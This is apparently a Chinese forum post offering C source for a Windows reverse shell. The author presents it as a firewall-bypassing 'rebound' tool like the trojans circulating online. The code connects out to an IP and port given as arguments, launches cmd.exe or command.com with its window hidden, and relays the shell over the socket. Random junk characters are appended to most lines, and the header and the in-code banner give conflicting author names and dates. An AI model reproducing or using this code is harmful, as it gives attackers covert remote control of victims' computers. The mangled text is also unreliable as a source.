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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3goJ(XI  
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/* ============================== yKhzymS}T  
Rebound port in Windows NT $X]v;B)J|  
By wind,2006/7 z:7F5!Z  
===============================*/ ?bA]U:  
#include 9}_f\Bs  
#include d0,F'?.0|  
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#pragma comment(lib,"wsock32.lib") m,q<R1  
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void OutputShell(); >p:fWQ6  
SOCKET sClient; h"S/D[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .H.v c_/  
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void main(int argc,char **argv) py4_hj\v  
{ &N nMz9  
WSADATA stWsaData; q0<`XDD`  
int nRet; EZW?(%b>H  
SOCKADDR_IN stSaiClient,stSaiServer; h2 <$L  
}'- )  
if(argc != 3) -*r';Mz;  
{ E/ )+hK&  
printf("Useage:\n\rRebound DestIP DestPort\n"); ( mMz]b5  
return; |g+5rVbd  
} F9hWB17u  
j(2T,WM  
WSAStartup(MAKEWORD(2,2),&stWsaData); [D\AVx&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \OH:xW~  
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stSaiClient.sin_family = AF_INET; ajr8tp'  
stSaiClient.sin_port = htons(0); I{bi3y0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @SXgaWr  
g H.^NO5\'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rP_)*)  
{ J6P Tkm}^  
printf("Bind Socket Failed!\n"); q;JQs:U!  
return; ;hDr+&J|  
} HPB1d!^  
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stSaiServer.sin_family = AF_INET; ?Fv(4g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Lo4t:H&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ks4 ,2f,2  
n4,J#h/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %9M49 s  
{ #Xly5J  
printf("Connect Error!"); "(GeW286k  
return; ny}utO  
}  `SrVMb(  
OutputShell(); H;ib3?  
} 6 H.Da]hk  
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void OutputShell() Nx'j+>bz>y  
{ K6oLSr+EAK  
char szBuff[1024]; Hy'&x?F6  
SECURITY_ATTRIBUTES stSecurityAttributes; ]ghPbS@  
OSVERSIONINFO stOsversionInfo; ^lj>v}4fkW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~ .-'pdz%  
STARTUPINFO stStartupInfo; 0jH2. d=  
char *szShell; (z{xd  
PROCESS_INFORMATION stProcessInformation; GYO"1PM  
unsigned long lBytesRead; 9:s!#FYFM  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AaVlNjB  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r9[J3t*({~  
stSecurityAttributes.lpSecurityDescriptor = 0; g;T`~  
stSecurityAttributes.bInheritHandle = TRUE; 00+5a TrE  
k$c!J'qL&  
5 B6:pH6e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); we3t,?`rk7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  3@*8\  
u#<]>EtbB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |n;7fqK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4<|]k?@  
stStartupInfo.wShowWindow = SW_HIDE; Y!zlte|P  
stStartupInfo.hStdInput = hReadPipe; 62) F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v80 e]M!  
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GetVersionEx(&stOsversionInfo); = 1C9lKm  
%VCHM GP=  
switch(stOsversionInfo.dwPlatformId) wvD|c%   
{ J5wq}<8  
case 1: qM'5cxe  
szShell = "command.com"; i fUgj8i_  
break; gC_U7aw  
default: PQ" Dl=,  
szShell = "cmd.exe"; dL>ZL1.$  
break; nm..$QL  
} Yhfk{CI  
t"Rn#V\c."  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (#~063N,#  
+}]xuYzo  
send(sClient,szMsg,77,0); hdzaU&w  
while(1) p6p_B   
{ PYGHN T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o'G")o  
if(lBytesRead) u56cT/J1  
{ wbTw\b=  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H|]Q;,C  
send(sClient,szBuff,lBytesRead,0); >K3Lww)Ln  
} ?]S*=6  
else 'tekne  
{ 8I%1 `V  
lBytesRead=recv(sClient,szBuff,1024,0); zKo,B/Ke4  
if(lBytesRead<=0) break; 6Y=)12T  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i{.!1i:  
} [||$1u\%  
} raCxHY  
B^Vb=* QRo  
return; y7JJ[:~~  
}
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